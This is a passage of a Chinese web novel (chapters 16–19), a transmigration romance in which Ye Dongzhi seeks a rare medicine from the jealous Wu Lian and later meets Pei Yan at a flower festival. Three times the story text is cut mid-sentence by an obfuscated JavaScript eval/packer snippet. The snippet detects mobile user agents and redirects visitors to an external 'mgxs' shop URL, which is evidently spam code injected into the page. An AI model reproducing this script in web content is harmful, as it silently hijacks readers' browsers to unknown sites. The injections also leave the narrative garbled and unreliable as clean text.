邬涟。 打定主意后,她便回府等他。 暮光西斜,酉时,门前小厮已经点燃灯笼。 现下正是初夏,金光洒在侯府门前的青石地板上。 不远处,一辆低调华贵的马车逆光而来,马车檐下吊着一块玉牌,上书“邬”。 指节匀净的手撩开车帘,冷玉般的人从车厢内探出身子来。 邬涟今日穿了身墨色的常服,头上以同色玉冠束发,衣袍平整,发髻一丝不苟。 他抬眼,正与门前的人视线撞了个正着。 那双眼中的神情和平日不同,往日她看他多是带着恶劣的引诱,但今日她眼中满是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525159|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷切,仿佛是等待着丈夫归家的妻子。 他行走的脚步不由得快了一些。 果然,待他走近,她轻声唤他,“大公子,你回来了。” “嗯。” 他向自己的院子走,她便亦步亦趋跟在他身后,问他: “你用晚膳了吗?” 他回,“用了。” 她在身后“哦”了一声,又问,“今日公务还顺利吗?” 以前,她从不问这些,这会倒不知为何如此反常。 邬涟停下脚步,转身道:“你想说什么?” 叶冬知有求于人,本来是想先关心关心,再顺理成章试探一下他的态度,但对方既然已经问了,她也就直说了。 “我是想问问你,府中是不是有一味叫做沉香屑的药材?” 他看向她,“是,为何突然问起这个?” 叶冬知抠着手指,思考着邬涟有同情心的可能,顺便想想如何将齐越白说得更惨些。 “是这样,你还记得上次我们在少女失踪案遇到的齐越白吗?” 见对方在听,她继续道:“他得了重病快不行了,需要沉香屑入药才能救命,但这药是贡品,除了皇室,便只有我们府中才有,所以我想问这药能不能给他用。” 邬涟垂眸,看见她眼中神情不似作假,好似真的很关心这位不过几面之缘的齐越白。 他敛眸,压下心中不悦,“不行。” 她慌忙追问,眼神急切,“为什么?” 兴许连她自己也没注意,语气中还带上了隐隐的质问。 就这么关心他吗? 心口沉沉的,堵得邬涟有些闷,但他仍耐心解释,一字一句,清清楚楚: “沉香屑是极为珍贵的药材,价值千金,况且,他与你我不过萍水相逢,交情尚浅,并不值得拿此药去救他。” 她闻言,蹙眉并不赞同,“这怎么只算萍水相逢?要不是他和凌婵去替你寻庄三,你哪有那么快就把整个山寨的匪徒全部拿下?说起来,也算帮了你大忙吧。” 邬涟不语,她口口声声为这个齐越白鸣不平,又何曾记得他在山洞中处处护她平安,时时刻刻为她着想呢? 也是,她本来就三心二意。 今日可以依偎在他身旁唤他“涟哥哥”,明日又能与裴砚言笑晏晏,甚至连带着邬彦也不放过,再多个齐越白似乎也不是什么大不了的事。 毕竟,相比于他这样闷沉冷清的性子,那几人确实更会讨女子欢心一些。 但是,她那些暧昧挑逗的言行,又算什么呢? 把他当做召之即来挥之即去,消遣的玩意吗? 他本来还没多少情绪,可越是这样想,他便只觉心头有把火,烤得他心烦意乱。 可偏偏,面前的人一点都没发觉他的情绪,一心只有别的男人,“你到底给不给?不给的话给个准话,我再想想其他办法,总不能眼睁睁看着他就这样死了吧。” 对于叶冬知而言,齐越白与她同样来自现代,都有相似的经历,也算是共患难,她又不是铁石心肠之人,自然不希望他一直被病痛折磨。 她皱眉思索着,如果邬涟真不愿意,是否还有别的办法。 袖子里的手攥了又攥,邬涟冷声,“若是我不愿给呢?你又当如何。” 闻言,她脸上露出一副“果然如此”的神色,随后幽幽道,“不给就不给,大公子一向铁石心肠,我理解的。” 这话本是叶冬知的一句嘟囔,但落在邬涟耳中,怎么听,都有股讽刺的意味。 他闭了闭眼,再睁眼时,他神色恢复成往日冷漠的模样,唯有语气冷得像积年的寒潭。 “叶冬知,你就那么在意他吗?” 17. 第 17 章 叶冬知愣了一下。 她对齐越白没啥感情,硬说的话,更偏向于找到同类的亲近感。 因此她道,“不是在意,是——” “是心悦。” 一道笃定、又饱含着冷意的声音响起,其中还夹杂着一些说不清道不明的意味。 她不由得拧眉,她是干了什么才会让邬涟觉得她竟然心悦齐越白? 但从邬涟的视角看去,她垂着头,眉头皱起,并没有看他,似乎是心思被他戳穿后,因为窘迫而不愿抬头。 密密麻麻的酸涩在心里漫开。 这是他第一次有这样的感受。 控制不了,随着她的沉默而越发明显。 他很讨厌她,她仅仅只是几句话就能轻易让他开心、难过、慌张,又或者是此刻的失落。 叶冬知终究还是难以置信地发问,“你怎么会这么想?” 他静静凝视着她,随之从喉间溢出一声自嘲的冷哼。 “呵。” “难道不是吗。” 然而话出口之后,他又很快冷静下来。 他不该这样说的。 这样的话该是情人之间的,可他没有立场,也没有身份。 他们顶多是住在一个屋檐下,往后也不过是体面的母子关系而已。 他怎么忘了。 她是个擅于魅惑人心的妖精,她对他,兴许只是心血来潮,也或许,在他不知道的地方,她对待其他人也是如此。 不该越界的。 叶冬知不知道怎么回答他,她觉得非常莫名其妙,她仔细回想她之前跟齐越白没有任何暧昧举动,并且有眼睛的人都能看出来齐越白喜欢凌婵啊。 两人各怀心思,站在原地不动。 但和邬涟不同的是,叶冬知脑子里突然响起了警报声。 许久没动静的系统在此刻诈尸了。 【警报警报,检测到任务目标怒气值攀升,需要宿主立即进行安抚!】 叶冬知不由得在心里缓缓扣出一个问号。 邬涟生气了? 她打量面前人的神色,和往常没什么区别。 非要说不对劲的话,她觉得周围突然变冷了。 一边搓着手臂,她一边想怎么安抚邬涟。 关键是,她都不知道他为什么生气啊! 正当她冥思苦想之时,面前的人忽然转身大步离开。 叶冬知慌忙追上去,拉住他袖子。 邬涟脚步顿住,隔着衣料握住她的手腕,缓缓将她的手扯了下来。 尽管他一个字没说,但她依然警觉地感受到有一种山雨欲来的感觉。 她又扯住他另一遍袖子。 对方又扯下来。 她再抓住,对方再次扯下来。 长安跟在身后,站在离两人不远的地方,双目惊恐,只觉见了鬼一般。 公子何曾与女子如此纠缠过。 公子口口声声说叶小姐不知礼数,但现在这幅拉拉扯扯的样子,又是在干嘛? 而且,他怎么还觉得公子似乎乐在其中呢。 叶冬知绕到他面前,拦住他的去路,“你为什么突然生气了?” 像是听到了笑话一般,邬涟竟然微微挑了挑眉,嘴角挂起一抹冷笑: “我没有生气。” “不过是你的臆想罢了。” 叶冬知微微睁大眼睛,指着自己,“我臆想?” “是你在臆想吧,不然为什么觉得我竟然喜欢齐越白。” “大公子,你是不是每日公务繁忙,因而脑子有点......” 邬涟突然发疯,她觉得是因为他每天高强度上班导致的。 简称上班综合征,上多了,人就疯了。 本以为她故意插科打诨会让邬涟转移一下注意力,但事实上邬涟并没听进去她最后一句话。 他只听到了两个字:竟然? 也就是说...... 这个念头刚起来,又很快被否定。 如果她不心悦齐越白,只是朋友的关系,那为何她费尽心思也要替他寻到这味药材。 一定还有别的原因。 又或许,她根本就是在撒谎。 这个念头一起来,就像无根的野草一样疯长。 嫉妒。 不甘。 统统化作一股怒火,在他心口灼烧。 脑海中系统的警报声越发急促起来,系统的惩罚也如约而至。 一股电流顿时贯穿她的全身,细细密密的刺痛传来,她没精力再去想邬涟为何生气,脑中唯剩下一个念头。 他要如何才能消气? 邬涟看着眼前人一副苦大仇深的样子,心中失落更甚。 然而下一刻,她忽然伸出双手,紧紧抱住了他。 她的脸埋在他怀里蹭了蹭,柔软的发丝有些乱,与他垂落在胸前的发丝相缠。 那些不满都在此刻止住了。 她自他怀里抬起头,水盈盈的眸子望着他,软声哄他,“别生气了,是我惹你不高兴,都是我的错,不气了好不好?” 最后那三个字仿若有奇异的力量,轻而易举地将他翻腾的心湖抚平。 他愣在原地,有些不知所措。 只觉一股隐秘的欣喜自灵魂深处缓缓升起。 见他并无反应,叶冬知伸手在他掌心挠了挠,像小猫犯错之后小心翼翼的讨好。 好痒。 他抿唇,捉住她不安分的手,“别闹。” 听不出喜怒,无法辨别他到底有没有消气,叶冬知踮脚去看他的神色。 但他却像有意不让她看见,把头偏在一边,从她的角度,只能看见他棱角分明的下颌,以及两片漂亮的薄唇。 她伸手不满地戳了戳他的胸膛,“消气了吗?” 他身体一滞,仍嘴硬道:“我没有生气,何来消气。” 此言一出,叶冬知几乎要气笑了。 都说邬涟克己复礼,乃是公正守矩第一人,依她看,嘴硬第一人吧。 系统都在她脑子疯了,他还不肯承认。 思及此,她又多戳了几下,凑在他耳边问:“现在消气了吗,嗯?大公子?” 温热的吐息喷在耳侧,她的声音又娇又嗲,像是情人间的低声呢喃。 邬涟仰着头,身体随着她的呼吸微微战栗。 他深吸一口气,然后,轻轻推开了她,说了一句毫不相关的话: “夜里凉,早些回去休息吧。” 叶冬知:? 在一旁的长安眼珠子都快掉出来了。 公子何曾对女子这样温声细语过。 而且,叶小姐没看见,他可是看见公子的耳朵都红透了。 他常年跟随公子,公子办案时可谓冷酷无情,别说京城闺秀们,就是同僚们也断不敢与公子这样熟络。 但刚刚,叶小姐对着公子动手动脚,公子竟然也不反抗,还一副任人宰割的样子。 难不成,公子春心萌动了? 该死,两个人进展这么快,肯定发生了他不知道的事情。 到底是什么啊,好想知道。 直到脑海里响起熟悉的机械音,叶冬知才在心里松了口气。 好险。 不过话说回来,邬涟居然这么好哄?只需要亲亲抱抱举高高就好? 正想着,熟悉的声音打断了她的思绪。 “要拿沉香屑,你去找周叔,说是我要用即可。” 本来他不提,叶冬知差点忘了这事,但惊喜就是来的猝不及防,她咻地睁大眼睛,由衷赞叹: “原来大公子是嘴硬心软,是我错怪你了!” “奇怪,明明都天黑了,什么东西如此耀眼?哦!原来是大公子的善良、慷慨和大方呀!” 长安没忍住“噗嗤”一声笑了出来。 以前怎么没发现,叶小姐如此有趣。 邬涟凉凉扫了一眼长安,然后不紧不慢在叶冬知头顶敲了一下,才抬步离去。 末了,留下一句带笑的话。 “谄媚。” 回到自己的院子后,邬涟收了笑意。 虽然答应了给她沉香屑,但他心里始终还是有点不舒服,那个齐越白又是什么来头,勾得她费尽心思。 将事情吩咐下去后,他打开笼子将墨青放了出来。 墨青飞至窗棂处站定,抖了抖一身鹅黄的绒毛,低头去啄着邬涟手中的鸟食。 甚是乖觉。 他凝眉看了一会,伸出手去抚摸墨青头顶的羽毛。 手感顺滑细腻,有如女子娇嫩的肌肤。 手上动作微微滞了一下。 这时长安推开门,手中拿着一封信笺。 “公子,侯爷的信。” 邬涟伸出手接过信件,拆开封泥,展信阅读。 片刻之后,他的眉头忽地一沉,对着长安挥挥手,示意长安退下。 信中除了提及边关战事,再有便是关于叶冬知的事。 再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525160|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几月,义父便会回京,届时举行大婚,她会名正言顺地成为他的义母。 不久前的雀跃顿时消散殆尽,只余一片冰凉的死寂。 邬涟单手撑住额头,另一只手无意识将信纸攥得发皱。 他实在是太得意忘形了,一直由着自己放纵,才导致一错再错。 不管她对他真心还是假意,她始终都会变成义父的妻。 是他逾矩了。 今后,他会与她保持距离。 * 叶冬知去寻周叔拿了沉香屑后,直奔齐越白所在的客栈。 当药递到眼前时,凌婵与齐越白二人还不敢置信。 凌婵未再多言,便寻了靠谱的大夫将沉香屑入药。 齐越白虚弱地半倚在床上,眼中似有泪光,抬手作揖,“叶小姐大恩大德,在下真是无以为报,之后若有难处,齐某赴汤蹈火在所不辞!” 叶冬知摆手,“你跟我客气啥,你要是真想谢我,如果能找到回去的办法,你可得带上我!” 闻言,齐越白沉默一瞬,随即像是忽然想起了什么,“说到回去的办法,我刚来的时候也不是没有想过,后来我听闻极北之地有一处隐世之地,传闻里面的人会一种秘术,可穿梭时空,回溯时间。” “真的?!” 叶冬知眼睛一亮,慌忙追问。 “我没去过,也不知道真假,或许之后有机会去看看。当然,你别抱太大希望啊,你也知道,现在是古代,多半是杜撰出来的故事罢了。” 虽然对方话是这样说,但叶冬知却不这样认为。 正所谓空穴不来风。 思及此,她接着问:“极北之地指的是何处?” 齐越白思忖片刻,“应该是北疆以北的地方。” 北疆她知道,现下她所在的国家叫做东岳,东岳实力强盛,有诸多附属国,除此之外,便属北疆实力最强。 北疆民风彪悍,百姓皆身材高大,多年来一直是东岳的心头大患,而永定侯正是常年驻扎边关,与北疆作战。 不多时,凌婵端着刚熬好的药回来了。 一碗药下去,不过几息齐越白的脸色便好了起来,看得叶冬知啧啧称奇。 难怪这沉香屑价值连城,原来真是神药啊。 看见齐越白好转,叶冬知也放下心来,与二人告别后,她心情不错地回了侯府。 本来她还以为只有她一个人这么倒霉,穿到了这个架空的朝代,直到遇到齐越白。 她有时候会想,这个世界会不会有更多人也同她一样,是被系统绑定的任务者呢。 路过糕点铺子时,她看见那些糕点软糯冒着刚出锅的热气,香甜的味道钻入鼻腔,勾得人馋虫大动。 叶冬知本来只买了一份,但脑子里忽然闪过邬涟的脸,想着,她又多买了一份。 食过晚膳后,她拎着食盒去寻邬涟。 邬涟居住的院子很大,但仆从极少。 除却两个洒扫的下人,便只剩长安与他自己。 院子里有一方池塘,造型各异的假山堆积在岸边,一条幽静小道被人从假山中间辟开,穿过这条小道,便能见到一栋二层小楼。 二楼放着许多邬涟从各地搜罗来的典籍杂记,一楼被他改成书房。 下值后,他会在此处理剩余的卷宗。 屋内灯火明亮,屋外,叶冬知提着食盒,正准备敲门。 “吱呀”一声,门开了。 但出来的是长安。 叶冬知语气有些雀跃,“大公子还没睡吧,我今日出府买了些糕点,我尝了味道很好,这份是给他的,就当做大公子帮忙的谢礼了。” 长安闻言,没像往日一样让她进去,而是扫了一眼她手中食盒,冷漠道,“公子要歇息了,这糕点您留着自己吃吧。” 反常的态度让她不解,“他怎么了?今日心情不好?” 长安没回答,依旧道:“公子无任何不妥,往后您还是不要来找公子了,公子不会见您的。” 语罢,他将门合上。 叶冬知本想追问,但还未来得及出口的话被眼前关上的门堵住。 得,她还真是自作多情。 看吧,让你舔着脸上赶着,结果别人根本就不领情。 说不出具体是什么心情,有不解,有愤怒,甚至还有隐隐的失落。 她将食盒放在门口,有些赌气地走了。 屋内,邬涟握笔的手顿了顿。 浓墨滴在书页上,晕出一大片墨痕。 18. 第 18 章 如今正是初夏,天气渐渐燥热起来。 叶冬知倚在凉椅上,着一身妃色的薄衫,外套了件藕荷色半袖,一截玉藕似的小臂露在外头。 阿蔷端了绿豆汤在一旁,一手给她打着扇子。 最近邬涟不知道是怎么了,忽然对她冷淡许多,任凭她如何主动、撩拨皆无动于衷。 前几日他进宫赴宴吃了酒,有些醉,叶冬知听闻后,便在小厨房煮了醒酒汤给他送去,却又被长安拦在门外,连邬涟半个人影都没见着。 昨日,她出门去买了些胭脂水粉,中途回府时突降大雨,她一时间只能待在屋檐下躲雨。 正巧那会邬涟从刑部回来,途径她所在的那条街。 她老远就唤他,想上马车躲躲雨,但邬涟闻声只是掀起帘子淡淡扫了她一眼,让长安给了她把伞,便乘车离去。 给她气得当场就想爆粗口。 因想着事情,叶冬知眉头不由得蹙了起来。 阿蔷见她不太开心,想起过两日便是花朝节了,便主动道: “小姐,过两日便是花朝节了,不如到时候出去逛逛?” 闻言,倚在躺椅中闷闷不乐的叶冬知,倒是有了几分兴致,她支起半个身子,问:“花朝节,那是什么?” “花朝节又称花神节,是姑娘们结伴到郊外赏花踏青的节日。” 闷在屋里总不是法子,加上她穿到这里确实没怎么逛过,叶冬知便点头应了。 只是让她有些惊讶的是,在花朝节的前一天,邬雯竟然来了她的院子。 想起来上次两人见面,还是之前在空寂寺的时候。 叶冬知尚且在屋中翻看着阿蔷为她新买来的话本子,忽然听到院子外面传来一阵脚步声。 她这院子平日里除了她与阿蔷,再有的便是两三个洒扫的小丫鬟,倒是许久不曾有人来。 阿蔷在门外叫道:“小姐,三小姐来啦。” 叶冬知闻声而出,见到院子果真站着邬雯,身侧还带着一个贴身丫鬟。 今日邬雯穿了身胭脂红的衫子,倒是与她明艳的容貌的容貌十分相称,耳垂上带了对白玉坠子。 见到叶冬知掀帘出来,邬雯向前走了两步,神色有些不安的忐忑,她抿唇,“我今天来找你,是想约你一起去花朝节。” 叶冬知哑然,感到十分意外。 这幅神情落在邬雯的眼中,便成了叶冬知记恨之前在空寂寺的事情,这样一想,她心中有几分着急和愧疚。 她脸色微微涨红,瞥了一眼叶冬知便又道,“之前的事情是我不对,我跟你道歉。” 马后炮有什么用,叶冬知可没忘,当初因为她,自己差点遭了大罪,所以自然对她没好脸色。 “三小姐,不必和我说这些,我不接受。” 邬雯一愣,显然是没有想到对方如此直白,她脸涨得通红,一时间不知道再说什么,尴尬地带着丫鬟走了。 阿蔷朝邬雯背影啐了一口,“谁稀罕她道歉!白眼狼一个!” 原来见到邬雯心里还有些不舒服,乍一听见阿蔷的话,叶冬知忍不住笑了,打趣道,“没看出来咱们阿蔷还会骂人,多骂几句我听听。” “小姐!”阿蔷跺脚,脸蹭地红了起来。 等到花朝节当日,一大早,叶冬知收拾好去到府门口,乘坐马车时,一掀帘子,发现邬雯已经坐在了里面,而马车还有另外一个人。 是邬彦。 今日正逢休沐,邬彦像是特意打扮过,穿着一身墨兰的袍子,头发被玉冠束起,露出俊朗的眉眼来。 在看见叶冬知的一瞬间,邬彦的眼中便像点燃了一簇光,目不转睛地盯着上车的叶冬知。 叶冬知有些意外,但也没有多问,朝他微微点头,便坐在了马车的一侧。 为了去参加这次的花朝节,阿蔷一大早便给她找出了件最时兴的衫子,月白的袖衫,湖绿的半袖,外罩同色的披帛,下身着了同色的长裙。 发髻是时下最新的朝云髻,耳饰是秀禾玛瑙坠,衬得她清清瘦瘦却又风情旖旎,像极了枝头清丽的梨花。 明明装扮并不娇艳,却偏生给人一种梨花也能生出海棠之姿的错觉。 见到叶冬知,邬雯很是意外,意外之后脸色也不大好看。 原来她以为叶冬知不会来这次花朝节,虽然她有意想缓和关系,可是对方不接受,两人这下算是彻底撕破了脸。 她之前邀请叶冬知,不仅仅是因为她心中确实有愧,更重要的是,是她兄长告知她,若是能说服叶冬知与他们一起参加花朝会,那他便能说服裴砚也来参加这次的花朝会。 自那日在空寂寺惊鸿一瞥,她的一整颗心便落在了裴砚身上。 是以,她才答应了兄长来邀请叶冬知。 一路上,邬彦找了许多话题同叶冬知攀谈,叶冬知碰到自己感兴趣的,也同他讨论几句。 不过一个时辰的样子,马车便已经行驶到了郊外。 此处地势开阔平坦,嫩绿的草地一望无际,成片的梨花蜿蜒不绝。 叶冬知一行人到时,已经集聚了许多人,都是京中的世家子弟,三三两两围在一起。 永定侯的马车很是显眼,除却皇室,永定侯府在京中可谓是顶级勋贵,半个边疆都靠着永定侯镇守,地位不言而喻。 邬彦与邬雯虽只是庶子庶女,想要结交的二人的也比比皆是。 因此,叶冬知几人一下车,便有几个世家小姐走过来。 几人皆穿着奢华,气度不凡。 其中一个穿着碧色衫子,长相微有些刻薄的年轻女子,迎着众人过来,对邬雯担忧道:“阿雯,听说前些日你遇到了山匪,没有受伤吧。” 邬雯脸色染上一阵红晕,笑道:“幸得裴公子搭救,倒是没有受伤。” “裴公子......”碧衫女子叫做凌华,闻言在脑子里回忆了一阵,才恍然大悟道:“这京中姓裴的只有裴相一家,阿雯,你说的裴公子,可是裴相的嫡长孙,裴砚?” “正是。”邬雯点点头,面上略有得意之色。 几个女子对着邬雯都露出羡慕之色,“阿雯,你可真是有福之人,听闻此前朝阳郡主看中了裴公子,但裴公子都拒绝了,当时他说自己若要成婚,必定要娶自己的意中人,难不成那日是听闻你在,特意去的?” 这一番话说到了邬雯心坎里,她脸上红晕更深了几分,不由得意地撇过一旁的叶冬知。 说完这个话题,几个女子像是才注意到身侧的叶冬知,对着邬雯问道:“阿雯,不介绍一下这位?” 邬雯故作恍然大悟之色:“这位是父亲叶副将的女儿,叶冬知。” 听到名字,几个女子露出了然的神情,其中还夹杂着些许的不屑和怜悯,虽然侯爷夫人确实风光,但是这个年纪给别人做继室,算不上什么光彩的事。 叶冬知对这些女子之间暗流涌动的攀比着实没什么兴趣,便径直一个人走到一侧的溪水边。 这里除了梨花,还有其他不知名的花也开得甚是烂漫。 溪水潺潺,沿着河岸缓缓流下,再加上今日不冷不热,着实令人舒服。 在溪边坐了一会,忽闻身后忽然嘈杂起来。 她回头一看,原来是裴砚。 少年骑着马,一身红色的劲装张扬肆意,头发被高高梳成马尾,显出几分少年的意气风发来。 裴砚脾气好,下马之后与众人一一寒暄,片刻之后,他在不远处的溪边发现了一个熟悉的身影,背影清瘦,耳垂的珍珠耳坠在日光下折射出莹润的光。 他正要朝溪边走去,身后有女子唤他,“裴公子,没想到今日能在此遇到你。” 裴砚回头,见一女子含羞带怯地望着自己,眼神期待。 他只是觉得面前女子有几分眼熟,但具体叫什么,他有些记不清了,于是只好歉意地笑笑,“请恕裴某记性不好,这位小姐是?” 邬雯好不容易鼓起勇气才与裴砚搭话,且不说方才她与小姐妹吹嘘自己与裴砚如何相熟,可她没想到对方连她姓甚名甚都不记得了,一时间尴尬地涨红了脸,“裴公子,你不记得了吗,那日在空寂寺你救了我,我是永定侯府的。” 说到此,裴砚才想起来,“原来是三小姐。” 邬雯想与裴砚搭话,但见对方兴致不高,对于她提到的话题也只是礼貌敷衍地答复,脸上神色险些挂不住,又害怕被小姐妹看出来,只好找借口离开。 邬雯走后,裴砚才向着溪边走去。 叶冬知从地上捡了截树枝,伸到水里去逗弄鱼儿,却不防忽如其来砸了一颗石子,将鱼儿惊走。 她不由得有些气愤,“谁呀!” 一转头,便见裴砚站在她身后,笑容肆意,“叶小姐,真巧,原来你也在此。” 叶冬知横他一眼,伸手去擦脸上溅到的水珠,对方递过来一方手帕,语气带笑,“是裴某的不是,我给你赔罪。” “赔罪?” 她擦着水珠,没好气道,“你要如何赔罪?” 闻言,裴砚弯弯眼睛,手指着不远处,“此处我幼时便来过许多次,这条河流的下游有一处美不胜收的景致, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525161|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可想要去看看?” 叶冬知原本以为这次的踏春也是看看风景,累了围坐在一起吃些美食,但她忘了,现在是古代。 虽然名义上是踏青,但这群世家子弟都忙着结交势力,相看姻亲,估计没人像她一样是真来看风景的。 思及此,她点头,“走吧,要是不好看的话,我就——” 说着,她扬了扬拳头。 裴砚失笑。 如他所想,这位叶小姐确实与众不同,格外地有趣。 邬雯站在原地,看着裴砚和叶冬知渐行渐远的背影,黑了脸。 真是不要脸的狐媚子,勾引兄长就算了,现在还勾搭上裴公子了,她叶冬知也不看看自己什么身份,真是不知廉耻。 邬雯正想着,忽听一阵高呼: “恭迎太子殿下!” 只见不远处有两人骑着马,立于一颗梨树之下。 前头那人穿成一身月色常服,头戴着紫金玉的金冠,浑身气派甚是尊贵,正是当朝太子,周信。 而周信身后那人,穿着一身黛色骑装,不同于平日里端肃清冷的模样,倒是添了几分冷冽和杀伐之气。 满头墨发被乌玉冠束起,周身气势甚至隐隐有盖过周信的架势。 是邬涟。 二人下了马,邬涟扫了一眼面前的人,几不可查地皱起了眉。 今早长安说府里所有的公子小姐都来了此处,他只看见了邬雯与邬彦,却毫无叶冬知的身影。 罢了。 他已决心与她撇清关系,无需再多想。 小溪下游,数不清的梨花花瓣飘落在溪面之上。 入目可见皆是成片的野花,五彩斑斓的蝴蝶穿梭在花丛中。 此处静谧,溪水声、鸟鸣声交织于耳,别有一番空灵之感。 叶冬知摘了朵野花在鼻尖轻嗅,不禁感叹,“真漂亮。” 裴砚寻了处干净的地方坐下来,双手撑在草地上,头微微后仰,有些怀恋道,“幼时祖父便经常带我来此地玩耍,以前这里还有一个山洞,我那时调皮躲进去后睡着了,祖父一直没找到我,急坏了,调了整个府中的家丁来找我。” “后来回府后,我挨了十鞭,一个月没下来床。” 叶冬知闻言大笑,“活该。” 她还想再调侃几句,忽然感到脚踝处一阵冰凉。 垂头一看,原来是裙摆不知何时沾到了水,湿透的布料贴在脚踝处。 裴砚站起身,走至她身侧,使劲攥紧裙摆,将水拧出。 叶冬知有些不自在,却听得他道:“别动,我用内力给你烘干,若是就这样穿着,兴许会着凉。” 片刻之后,裙摆干爽如初。 她摸了又摸,才确认真是被内力烘干的,她不由得瞪大了眼,眼睛亮得如同黑夜星辰,“好厉害!” 武侠剧诚不欺她! 对上她直白崇拜的视线,裴砚有些窘迫和害羞,不由得微微偏了头,嘴角翘起,“区区小事,不足挂齿。” 虽然此前见识过邬涟的武功,但那时她多半是闭着眼,没有太多实感,她不由得十分好奇,于是继续问裴砚,“那你会轻功吗,能够飞檐走壁吗?” 裴砚笑着点头,“可以。” 脑海里突然浮现出邬涟在山洞里仅凭一把剑就挡下数百只箭的场景,好像,邬涟的功夫也很不错。 “我之前听说你和邬涟的功夫都很好,你和他,谁比较厉害?” 裴砚愣了一下,没想到她会这么问,仔细思考过,他斟酌开口,“若是用剑,我不如他,但若是我用枪,他不一定能赢我。” 他学问确实不如那位惊才绝艳的大公子,但若仅是武功,他的确没说谎。 裴砚说完,心中隐隐期待身侧女子的夸赞,但是半天没等到对方说话。 他偏头看她,发现她的视线正落在不远处。 一男子骑马俯瞰着他们二人,眉目清冷,投来的视线含着隐隐的不悦。 邬涟敛眸,只觉有些可笑。 他与她划清界限,只盼她认清身份,安心待嫁。 却不成想她转头就勾搭上了别的男子,还笑得这般开怀畅快。 尽管隔着很远的距离,但叶冬知仍旧心中不安。 愣神间,她脚踩到溪边一颗湿滑的石子,她心中一凛,正要向着一旁的溪水中栽去,好在身侧的裴砚眼疾手快,伸出手一把将她拦腰抱起,她顺势倚倒在裴砚怀中。 透过裴砚的肩头,她见到邬涟下了马,浑身气势凌人,正一步一步向着她的方向走来。 19. 第 19 章 叶冬知蓦然有些心虚,她连忙从裴砚的怀里出来,低声道了声多谢。 裴砚似乎是有些怔愣,身侧女子柔软的触感令他脸颊发烫。 他幼时便习武,少与女子接触。 这般近的距离,他还是第一次。 不多时,邬涟便到了二人眼前。 他神色无波,极快地扫了一眼面前的男子,见对方年纪尚轻,心无城府,心情都摆在脸上。 微红着脸颊下意识护在叶冬知的身前。 而她也只是定定站在裴砚身后,看着他,没有挪动脚步的意思。 “裴公子。” 邬涟唤了他一声,语气极为冷淡,但又令人挑不出错处。 裴砚对邬涟算是仰慕,原因不仅因邬涟未及弱冠便高中,从白身到如今的官职,从未依赖过祖荫。 并且,他每每回府,祖父便会向他夸赞邬涟的政绩,并感慨若是他像邬涟一般在为官之道上有一定造诣的话,那么裴家百年基业倒是不愁了。 闻言,裴砚拱手做了个揖,“大公子。” 邬涟微微颔首,视线越过裴砚,落到了叶冬知的腰上。 是被裴砚方才触碰过的地方。 那处衣衫因为被大力碾压过而呈现出一点轻微的褶皱,恰恰好好勾勒出她纤细的腰身。 想必,那处肌肤的柔软细腻,他也感受到了吧。 想到此处,邬涟的眉头几不可见地凝了起来,片刻之后又很快抚平,他回头对着裴砚淡声道:“太子殿下有事寻你。” 裴砚眉头微挑,倒是十分意外,虽祖父曾教授过太子课业,但他与太子实则算不上相熟,但他没有多想,道过谢之后便向着太子所在的地方行去。 一时间,溪边只有邬涟与叶冬知二人。 微风拂动溪边的梨树,枝头的梨花止不住地乱颤,伴随着风落到水面上,惊起阵阵涟漪。 邬涟束起的黑发被风裹挟着,有几缕扬起,徐徐蹭过他瓷白的脸颊,那双如墨的眼,被衬得越发沉,仿若透不进一点光。 虽不打算与她再有瓜葛,但她向来不知羞耻,总爱与不同男子纠缠不清,他自当代替义父好好教导她。 “前几日义父来信,再有几月便可回京,今年便会与你完婚,因此——” “不论是裴砚,还是齐越白,你都不可有过多接触,将为人妇,当守礼克己。” 叶冬知微微仰头盯着他,见这些话一点点从那张薄唇中吐露出来。 冷漠、高高在上、无情刻薄。 这些日子他躲着她,不见她。 等到她终于见到他,他对她说的第一句话居然是毫不留情的斥责。 胸口被莫名交织的情绪胀满,叶冬知不想去分辨,她弯弯眼睛,笑得很讽刺: “原来大公子也知道啊,说起来,我与你的接触才是最多的吧。” “要不我帮你回忆一下,”她走到邬涟跟前,上身贴近了些,食指隔空指着他的唇,然后一路经过他的下巴,胸口,腰腹,“这些地方,我都已经碰过了,怎么办呢?” “大公子是孝子,要不要在你义父知道前赶紧自裁谢罪呢?” 邬涟伸手握住她的手腕,微微用力,令她无法再动弹。 他微扬着下巴,没有低头,只垂眼看她,“你明知是你故意引诱,又何必与我说这些。” 叶冬知收了脸上的笑意,用力将他握住自己手腕上的手指一根根掰开,她抚平衣袖上的褶皱,继而才道: “是,但你没有拒绝不是吗。” 